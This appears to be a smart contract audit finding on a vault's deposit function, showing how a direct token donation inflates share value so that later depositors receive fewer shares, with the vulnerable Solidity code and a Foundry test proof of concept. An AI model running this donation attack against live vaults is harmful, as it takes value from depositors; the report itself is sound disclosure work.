Root + Impact
Description
-
Each depositor in case of win should get his deposits plus valid proportion of remaining tokens in the vault (besides other winners).
-
When someone donates directly to the vault without minting the share, increasing the total assets but not total supply of shares. This inflates the value of each share (exchange rate). When it happens between users the deposits, it leads to the unfair reward distribution for users who deposited after the donation.
function deposit(
uint256 assets,
address receiver
) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
@> uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(
msg.sender,
participationFeeAddress,
fee
);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
Risk
Likelihood:
Impact:
Proof of Concept
Considering following scenario:
User1 deposits small amount of assets
Someone directly donated the vault without minting
User2 deposits 1 ether
User 3 deposits 1 ether
When the shares amount is logged, it occurs that user1 has unproportionally bigger amount of shares than the users deposited after donation (even if they deposited more).
vm.startPrank(user1);
uint256 user1Amount = 0.001 ether;
mockToken.approve(address(briVault), user1Amount);
uint256 user1Shares = briVault.deposit(user1Amount, user1);
briVault.joinEvent(10);
uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
vm.stopPrank();
vm.prank(user5);
mockToken.transfer(address(briVault), 5 ether);
vm.startPrank(user2);
mockToken.approve(address(briVault), 1 ether);
uint256 user2Shares = briVault.deposit( 1 ether, user2);
briVault.joinEvent(10);
uint256 balanceBeforuser2 = mockToken.balanceOf(user2);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 1 ether);
uint256 user3Shares = briVault.deposit( 1 ether, user3);
uint256 balanceBeforuser3 = mockToken.balanceOf(user3);
briVault.joinEvent(30);
vm.stopPrank();
console.log("Participant3 shares:", user3Shares);
console.log("Participant2 shares:", user2Shares);
console.log("Participant1 shares:", user1Shares);
Recommended Mitigation
Implement internal balance tracking separate from total assets.